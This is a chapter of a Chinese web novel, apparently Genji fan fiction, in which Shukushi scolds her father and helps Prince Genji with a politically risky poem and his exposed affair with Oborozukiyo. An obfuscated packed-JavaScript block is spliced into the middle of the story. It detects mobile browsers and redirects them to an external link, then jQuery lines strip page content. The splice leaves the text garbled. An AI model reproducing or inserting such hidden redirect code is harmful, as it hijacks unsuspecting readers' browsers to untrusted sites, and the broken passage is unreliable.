“如今要怎么办啊?”淑景舍北面,藤原爹围着淑子急得团团转。
“左大臣彻底退了,这可如何是好?”
淑子静静地看着生父,很是无奈:“您仅仅是个中纳言,还是先帝时期因为拯救民生的功劳升迁的中纳言,实在不必如此惊慌。”
“右大臣眼高于顶,不会越过那么多公卿,特意找您的麻烦。”淑子垂眸。
右大臣平时前呼后拥,侍从无数,说句难听的,怕是连藤原爹的脸都认不清楚。
“我即使做出贡献,也因为与皇太后的争斗战战兢兢,也因为不被偏爱的女人的身份被掣肘。”
“可您不一样啊,弟弟的妻子七拐八拐能与右大臣家扯上关系,只要在这个时候镇定下来,之后疟疾治疗会是您一辈子的护官符。”淑子好言相劝。
如今她和皇太后已经处于互相妥协的状态了,皇太后现在只希望有继承人出生。
之前天天盯着淑子时候皇太后都不想理藤原爹这个小马仔;如今只要自己不倒,藤原爹这个充其量帮源氏干过活的真的没大问题。
但——
“都是你与源氏公子扯上关系,我才会如此被动!”
藤原爹完全听不进去淑子的话,胡乱指责,不依不饶,只怕自己的荣华富贵消散。
“好,都是因为我这个孽障,您才能摆脱殿上人的身份成为公卿;都是我这个逆女,您才能这些年在大大小小的宴会上被小贵族奉承!”
“怎么,您如此清高傲视,那当初我给您带来荣耀的时候为什么要接呢?您可以大公无私地不要啊!”
“这个时候,您忘记了面对公子的侍从藤原惟光时唯唯诺诺的样子,我却永远记得!”
淑子甩袖离开,深呼一口气,在心里盘算,这个爹废了,要及时通知母亲保护好生产手册的资料。
有人歌颂世间情谊,落地何须骨肉亲(注);有人见利忘义,亲生骨肉亦为敌。
不过是演绎了千百年的历史罢了,世间皆如此。
入宫第一年的梅雨季,淑子在淑景舍感受到了恶意;如今又是梅雨季前的淑景舍,淑子再次见识了人性的恶劣。
这地风水不好,和她相克!
淑子摸摸宝贝玉佩,从玄学的角度得出结论。
梅雨淅淅沥沥地到来了,淑子多数时间留在东宫办事。
就像她对藤原爹说的,经过了漫长的对抗后,找不到淑子把柄的皇太后也累了,目前两人井水不犯河水。
皇太后现在只盯着药司,强烈要求调理胧月夜和丽景殿女御的身体,以得到健康的自家血脉的子嗣。
尤其是前者,比起侄女,皇太后还是更喜欢自己的亲妹妹。
如今朱雀帝也年近三十了,却只有一夭折的大公主,比源氏这个疑似不行的还子嗣单薄。
源氏:污蔑,赤裸裸的污蔑!
淑子真心觉得皇太后应该让御医调养朱雀帝的身体。
.
这天,正在教导冷泉读书的淑子接到了源氏的信件,请她去淑景舍内商议要事。
淑子感到十分晦气,直觉没什么好事。
肯定是这群肮脏的男人,污染了桐壶更衣好好的清净宫室!
“姨母怎么了?”冷泉抬头,萌萌哒看着淑子。
“我要出去一趟,冷泉好好背书啊,这都是西面的好书,里面有很多道理。”淑子给冷泉布置了学习《论语》的任务,稍稍整理后离开了东宫。
留下橘掌侍笑眯眯陪读。
出乎意料的是,淑景舍内不仅有源氏,还有三位中将。
淑子戏谑地俯视坐在席子上的两人,有些记仇:“两位贵人不知有何贵干啊?竟需要我这小小女子参与。”
源氏起身拉着靠在门口不着急进入的淑子:“现在我的班底你都知道了,咱们也就别装了吧,循典侍?”
三位中将也起身相迎,有些不自在地向淑子行礼,别别扭扭,还有些脸红。
淑子看了两人的座位方向,自然而然地坐在了中间。
“说吧,你不会又干了什么吧?”当年源氏给自己的心理阴影还在呢。
“唉,我有一个失误。”源氏叹息。
“不怪他,也是我的纰漏。”三位中将立刻为他辩护。
两人似乎又开始惺惺相惜了,完全看不出来当年比赛跳舞的竞争感。
哦,其实一直是中将盯着源氏,居心不良;源氏从始至终都是人淡如菊,岿然不动。
“说重点。”淑子打断了这两人的废话。
原来前些日子,赋闲在家的中将实在是无聊,就召集了几个学者去找源氏,大家一起玩游戏作诗唱歌,消磨时光。
中将还把二儿子也带过去了,发挥家长的传统技能让孩子表演节目,唱了一首《红梅》。
本来也算是其乐融融,但可能源氏被红梅(注)的精彩表演引发了诗兴,又想起了这段时间的郁闷,于是竟也开始作诗唱曲,谈起了历史。
兴头上来,引用了皇帝的儿子和叔叔,周公的典故。
反应过来不妥后,源氏立刻闭嘴,但在场的人都听得清清楚楚。
“情况就是这样,意识过来这暗示皇太子之后,我立刻停下,聊起了另一首诗。在场的人也算是与我交好,但人心难测,保不齐……”
“保不齐会传到右大臣那里,成为皇太后攻诘皇太子的借口是吧?”淑子接话。
两个男人像鹌鹑一样低头。
淑子靠着主座的椅背,微微侧身:“我是能解决这个问题,但之后你们还这样惹麻烦的话,大家都不好过。”
“还有,若是让我帮忙解决,我的要求就是,今后你的一切,无论是人脉还是大事的想法,对我毫无隐瞒。”淑子看向源氏。
“做得到吗?”
在利益面前,源氏脑子还算清楚。此时淑子是他最可靠的救命稻草,无论如何都要答应。
“做得到。另外,一会有件羞于启齿的事情,也需要您参详。”源氏难得用上了敬称。
察觉出非同小可的中将看自己的part已经结束了,郑重告辞,淑子微微颔首示意。
等淑景舍只剩下两人和外面的雨水时,源氏再次面对淑子,垂头丧脑,神情十分懊悔。
有些事情,如果惴惴不安的话日夜坐卧不宁,但如果坦白的话,反而会松一口气。
“夏天的时候,还有一件事情发生。如今想来,竟像是被游荡的鬼魂迷惑,让我做出追悔莫及的事情了。”源氏深吸一口气。
熟练推锅。
“嗯哼?”淑子等着下文,心里做好了最坏的打算。
“对不起,之前我因为羞于启事隐瞒了你。”
“还记得樱花宴吗?那天晚上,与我想会的人确实不是你猜测的皇太后,而是她的妹妹。”
淑子瞪大眼睛:“妹妹,不会是如今的——”
“对,就是如今的尚侍。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000502|161753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你胆子可真大啊,我看只要是涉及到女人,你什么都干得出来。”淑子讽刺。
不过转念一想:“当时尚侍还没有入宫,这也就算是婚前风流,都这么多年了,也不必如此惊慌,你……”
“前些日子胧月夜回家休息,暴雨时分,我们再次幽会……”
“那可是内定的皇后!你……”
“还被右大臣当场抓住了。”源氏补上了后面的半句话。
淑子已经傻了。
自从管理内廷,逐渐游刃有余的她第一次脑子转不动了。
原来源氏一直忘不了胧月夜,为了追求刺激,不光在宫里两人约会,甚至跑到右大臣家里找她,结果在一个雨后的清晨,两人被当场抓包。
那狂徒源氏的紫红色腰带还挂在胧月夜的身上,千真万确抵赖不得!(注)
“呼——”淑子闭眼,长出了一口气。
当年她会为了紫姬的事情被气晕,现在心理承受能力已经增强了不知多少倍。
绝世白莲源氏缩在一边,小心地瞄着淑子,脸上表情又委屈又痛苦,就像他不是那个始作俑者一样。
“两件事情。”半晌,淑子睁眼,冷静陈述。
“第一件,如今咱们式微,一味强调封口反而欲盖弥彰,不如浑水摸鱼。”
“马上到来的宴会和法会,我会上折子增加《史记》和文王故事的讲演,到时候大家都议论文王周公,你那句话就不会引起注意了。”
淑子靠在精美的椅背上,在沙沙雨声中,发出沉静的声音,细长的右手在光滑的扶手上一点一点,节奏不紧不慢。
源氏眼前一亮,信任地看着淑子。
她可真帅!
“还有第二件事情。”
淑子咬牙切齿,瞪着源氏:“你太过分了,完全没有考虑身后的大大小小。万一也因此让她怀孕,你觉得皇太后会像你父皇那么宽容吗?”
源氏意识到什么,睁大眼睛:“父皇他——”
“只有先帝会如此偏爱纵容你,但凡换个人,你早就灰飞烟灭了。葵姬也不会怀孕去世,爱护你如同亲子的左大臣夫妇也不会经历丧女痛苦。”
“你就是一切罪恶的源头,如今不修身修德,还如此荒唐,早晚会神佛降罪!”
“第二件事我暂时帮不了你。”
淑子与皇太后心照不宣地维持表面关系,即使源氏的事情爆发,碍于淑子手中的先帝遗旨和如今各方势力的平衡,皇太后也轻易动不了淑子。
她已经不是当年那个知道秘密后生怕自己被灭口的孤单无援的小姑娘了。
“你先自己想一个方法,之后咱们商量。”淑子第一次在源氏面前展现了冷漠。
源氏征然,这个时候的淑子让他全然陌生,有那么一瞬间,他看到的不是穿着美丽宫装的女人,而是有着同样的眼神,当年在宝座上下发政令的先帝。
其实很久之前,自己就不叫她碧茶了,她也不是那个只能用扇子和小侍女两个人辛苦抵御狂徒的女孩了。
“你会帮我吗?”源氏从嗓子里挤出一句话。
在沉默中他再次发问:“你会害我吗?”
之后他听到了天籁:“不会,我永远不会害你。”
“只要你还是愿意和我一起帮助百姓奔走,愿意施粥布善、开展慈善的源氏公子,我就永远不会害你。”
源氏猛然一把抱住了淑子,泪水横流:“对不起,谢谢你。”